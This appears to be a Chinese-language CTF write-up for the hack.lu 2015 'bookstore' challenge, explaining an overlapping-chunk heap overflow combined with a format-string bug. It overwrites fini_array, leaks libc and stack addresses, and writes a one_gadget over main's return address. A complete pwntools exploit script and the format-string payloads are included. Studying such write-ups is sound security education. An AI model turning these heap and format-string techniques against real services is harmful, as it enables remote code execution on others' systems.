overlapping chunks

溢出对unsortedbin中的chunk->size进行修改,造成堆块重叠。

hack.lu2015 bookstore

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

程序是一个订书系统,在main函数开始处,连续分配3个0x80的空间,一个存储订单1——order1,一个存储订单2——order2,一个存储提示信息——info。有以下功能菜单

1
2
3
4
5
1: Edit order 1
2: Edit order 2
3: Delete order 1
4: Delete order 2
5: Submit

Edit order 1/2:order1/order2使用fgetc读取字符串,读到\n终止,所以这里存在溢出

Delete order 1/2:free掉order1/order2。这里存在指针悬空

Submit: 分配0x140的空间(称为orderlist)将order1和order2拼接。这里存在溢出

程序末尾printf(info)存在可能的格式化字符串漏洞。

overlapping chunks && format string vulnerability

总体思路:释放order2,溢出order1修改order2chunk->size = 0x151。并在order1上布置format string,以泄露libc和stack addr,和修改fini_array为start的地址。第二次format string修改main函数返回地址为one_gadget。

fini_array存储main函数结束后将要执行的函数地址,一般修改为main函数来达到再运行一次的目的。这里我修改为start也可以达到此效果,原本想达到main函数循环执行的效果,可是没有如我的心愿。。。

phase 1

溢出修改unsortedbin中的order2的大小为0x151后,再分配0x140的orderlist,将会出现下图的情况。要想办法将format string精准控制在info开始处。

submit函数中,连接order1后,orderlist1 = "Order 1: " + XXXXXXXX;order2指针悬空,和现在的orderlist指向的地址相同,所以连接order2将出现 orderlist = "Order 1: " + XXXXXX + "\nOrder 2: " + orderlist1。其中长度为9的字符串Order 1: 出现了两次,长度为10的字符串\nOrder 2: 出现了一次,故该函数额外向orderlist中填充了28个字节。

image-20200705205842961

1
2
3
4
5
6
7
8
9
# phase 1
menu(b'4')

# format string: overwrite fini_arrary with start, leak libc and stack
payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))

%1920x%13$hn,使用start地址0x400780,双字节覆盖fini_array,13$取第13个参数,hn控制写入双字节。

%14$s,打印puts_got。

%28$llx,打印stack地址。多次调试可以发现,main函数rbp-0x10处,存在一个与栈地址固定偏移0xf0的栈地址,应该为此前函数遗留。

利用fgets将这些参数传到栈上。

image-20200705212508537

phase 2

调试到第二轮次,计算此前泄露的栈地址与此次main函数返回地址偏移。

将one_gadget地址的低四字节,写到返回地址处,一次一个字节。因为双字节有偶发性printf崩溃,应该是打印长度过长了。(我这里使用的自编译的glibc2.26 without tcache)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
one_gadget = libc_base + 0x40d82
log.debug("one gadget: 0x%x" % one_gadget)
p1 = one_gadget & 0xff
p2 = (one_gadget>>8) & 0xff
p3 = (one_gadget>>16) & 0xff
p4 = (one_gadget>>24) & 0xff

part1 = p1
part2 = p2-p1 if p2 > p1 else 256-p1+p2
part3 = p3-p2 if p3 > p2 else 256-p2+p3
part4 = p4-p3 if p4 > p3 else 256-p3+p4

menu(b"4")
payload = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))

exploit

关于fini_array

LIBC_START_MAIN函数在执行完main函数后,执行exit->__run_exit_handlers,在__run_exit_handlers中调用__call_tls_dtors函数和__exit_funcs函数列表,该列表默认情况下只有dl_fini。结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};

struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};

image-20200705200936606

其中idx在第一次遍历此列表时就变为0了,而且就算再将该值改为1,也不会再执行fini_array里的函数。后面再dl_fini里面也貌似有个防范多次执行的变量,可是这块过于复杂了对于我,再看下去势必要花不少时间且偏离方向了,日后再说吧。。。

1
2
3
4
5
6
7
// glibc release/2.26/master elf/dl-fini.c _dl_fini(void)

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
...

struct exit_function里存储的指针也经过了指针加密?。

image-20200705202457594

exploit

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="info")
localfile = "./bookstore"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def menu(s):
io.recvuntil("5: Submit\n")
io.sendline(s)

def exp():
fini_array = 0x6011B8
puts_got = elf.got["puts"]
free_got = elf.got["free"]

# phase 1
menu(b'4')

# format string: overwrite fini_arrary with start, leak libc and stack
payload = b"%1920x%13$hn...%14$s,,,%28$llx".ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(fini_array) + p64(puts_got))

# leak libc and stack
io.recvuntil(b"...")
io.recvuntil(b"...")
io.recvuntil(b"...")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
io.recvuntil(b",,,")
stack_addr = int(io.recv(12), 16)

ret_addr = stack_addr - 0x288
libc_base = puts_addr - libc.sym["puts"]

#########################################################
# fail when part1 + part2 is too big (possible reason...
#########################################################
# one_gadget = libc_base + 0x40d82
# part1 = one_gadget % (1<<16)
# part2 = (one_gadget>>16) % (1<<16)
# log.debug("0x%x" % part1)
# log.debug("0x%x" % part2)
# if part2 > part1:
# part2 = part2 - part1
# else:
# part2 = part2 + ((1<<16)-part1)

# log.debug("0x%x" % part1)
# log.debug("0x%x" % part2)

# log.debug("ret addr: 0x%x" % ret_addr)
# log.debug("one gadget: 0x%x" % one_gadget)

# # phase 2
# menu(b'4')
# payload = b"%" + str(part1).encode("ascii") + b"x%13$hn" + b"%" + str(part2).encode("ascii") + b"x%14$hn"
# payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
# menu(b"1")
# io.sendline(payload)
# # gdb.attach(io, "b *0x400B09")
# menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+2))

one_gadget = libc_base + 0x40d82
log.debug("one gadget: 0x%x" % one_gadget)
p1 = one_gadget & 0xff
p2 = (one_gadget>>8) & 0xff
p3 = (one_gadget>>16) & 0xff
p4 = (one_gadget>>24) & 0xff

part1 = p1
part2 = p2-p1 if p2 > p1 else 256-p1+p2
part3 = p3-p2 if p3 > p2 else 256-p2+p3
part4 = p4-p3 if p4 > p3 else 256-p3+p4

menu(b"4")
payload = b"%" + str(part1).encode("ascii") + b"x%13$hhn%" + str(part2).encode("ascii") + b"x%14$hhn"
payload += b"%" + str(part3).encode("ascii") + b"x%15$hhn%" + str(part4).encode("ascii") + b"x%16$hhn"
payload = payload.ljust(0x90-28, b"A").ljust(0x88, b"\x00") + p64(0x151)
menu(b"1")
io.sendline(payload)
# gdb.attach(io, "b *0x400B09")
menu(b"5" + p8(0x1)*7 + p64(ret_addr) + p64(ret_addr+1) + p64(ret_addr+2) + p64(ret_addr+3))

io.interactive()




argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

Reference

  1. how2heap overlapping chunks
  2. https://bbs.pediy.com/thread-246783.htm